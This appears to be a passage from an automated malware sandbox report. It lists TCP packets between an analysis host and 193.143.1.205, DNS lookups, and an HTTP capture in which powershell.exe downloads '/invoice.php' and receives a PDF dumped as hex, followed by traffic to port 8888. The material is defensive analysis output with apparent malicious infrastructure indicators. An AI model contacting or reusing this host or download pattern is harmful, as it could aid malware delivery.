Jan 11, 2025 05:41:16.676723003 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.676723957 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.676736116 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.676750898 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.676848888 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.677431107 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.677443027 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.677453995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.677474976 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.677475929 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.677491903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.677505970 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.677517891 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.677525043 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.677531004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.677541971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.677551985 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.677555084 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.677567005 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.677578926 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.677578926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.677591085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.677598953 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.677603006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.677615881 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.677624941 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.677649021 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.678471088 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.678483009 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.678493023 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.678505898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.678515911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.678519011 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.678527117 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.678535938 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.678546906 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.678556919 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.678558111 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.678569078 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.678580046 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.678591013 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.678600073 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.678601980 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.678612947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.678622961 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.678623915 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.678634882 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.678643942 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.678663015 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.679308891 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.679327965 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.679341078 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.679352045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.679362059 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.679368019 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.679373026 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.679384947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.679383993 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.679395914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.679406881 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.679416895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.679419994 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.679426908 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.679434061 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.679439068 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.679450035 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.679459095 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.679461002 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.679471970 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.679511070 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.679757118 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.680279016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.680290937 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.680300951 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.680311918 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.680322886 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.680331945 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.680334091 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.680345058 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.680352926 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.680356026 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.680366039 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.680377960 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.680387020 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.680388927 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.680399895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.680409908 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.680414915 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.680421114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.680430889 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.680438995 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.680443048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.680464029 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.680485964 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.681217909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.681230068 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.681240082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.681251049 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.681261063 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.681272030 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.681273937 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.681282043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.681293011 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.681294918 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.681303024 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.681315899 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.681325912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.681333065 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.681338072 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.681351900 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.681355953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.681366920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.681375980 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.681390047 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.681404114 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.681886911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.681905031 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.681915998 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.681926966 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.681936026 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.681941986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.681951046 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.681952000 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.681961060 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.681962967 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.681973934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.681983948 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.681984901 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.681998014 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.682008982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.682018042 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.682018995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.682029963 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.682029963 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.682039976 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.682050943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.682054043 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.682061911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.682073116 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.682076931 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.682082891 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.682094097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.682099104 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.682140112 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.682845116 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.682857037 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.682883978 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.682898045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.682900906 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.682910919 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.682923079 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.682928085 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.682934999 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.682946920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.682959080 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.682960033 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.682971001 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.682981968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.682991028 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.682993889 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.683006048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.683021069 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.683026075 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.683032990 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.683046103 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.683067083 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.683077097 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.683523893 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.683537006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.683547974 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.683558941 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.683569908 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.683577061 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.683582067 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.683592081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.683603048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.683604956 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.683614016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.683620930 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.683625937 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.683636904 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.683650970 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.683656931 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.683660984 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.683672905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.683676004 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.683684111 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.683692932 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.683722019 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:16.904202938 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:16.904309988 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:17.112571001 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:17.117438078 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:17.117527008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:17.117539883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:17.117575884 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:17.117609978 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:17.117620945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:17.117631912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:17.117643118 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:17.117670059 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:17.117702961 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:17.117854118 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:17.117865086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:17.117877007 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:17.117888927 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:17.117899895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:17.117903948 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:17.117911100 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:17.117919922 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:17.117923021 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:17.117948055 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:17.117974997 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:17.118302107 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:17.118313074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:17.118323088 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:17.118334055 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:17.118344069 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:17.118349075 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:17.118355036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:17.118365049 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:17.118376017 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:17.118379116 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:17.118387938 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:17.118397951 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:17.118422031 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:17.147701025 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:17.378962994 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:17.531270981 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:18.011220932 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:18.017909050 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:18.018069029 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:18.018282890 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:18.025027990 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:18.803530931 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 05:41:18.853115082 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 05:41:19.641092062 CET	49707	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:41:30.958571911 CET	55057	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 05:41:30.958571911 CET	192.168.2.8	1.1.1.1	0xb21e	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 05:41:30.965528011 CET	1.1.1.1	192.168.2.8	0xb21e	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 05:41:31.684803009 CET	1.1.1.1	192.168.2.8	0x40c	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:41:31.684803009 CET	1.1.1.1	192.168.2.8	0x40c	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:41:44.829463959 CET	1.1.1.1	192.168.2.8	0x2d57	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:41:44.829463959 CET	1.1.1.1	192.168.2.8	0x2d57	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	193.143.1.205	80	7544	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:41:15.065810919 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 05:41:15.906421900 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:41:15 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 05:41:15.906441927 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 05:41:15.906455040 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 05:41:15.906487942 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 05:41:15.906498909 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 05:41:15.906511068 CET	224	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`
Jan 11, 2025 05:41:15.906615019 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
